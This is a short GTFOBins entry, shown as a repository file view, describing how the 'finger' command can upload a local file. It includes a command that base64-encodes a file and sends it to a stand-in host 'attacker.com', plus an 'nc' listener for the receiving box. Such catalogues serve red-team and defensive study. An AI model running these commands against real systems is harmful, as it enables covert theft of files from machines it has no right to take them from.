Files
GTFOBins.github.io/_gtfobins/finger.md
Emilio Pinna 3125617475 Add finger
2018-09-12 22:35:41 +01:00

12 lines
426 B
Markdown

---
description: |
`finger` hangs waiting for the remote peer to close the socket.
functions:
upload:
- description: Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
code: |
RHOST=attacker.com
LFILE=file_to_send
finger "$(base64 $LFILE)@$RHOST"
---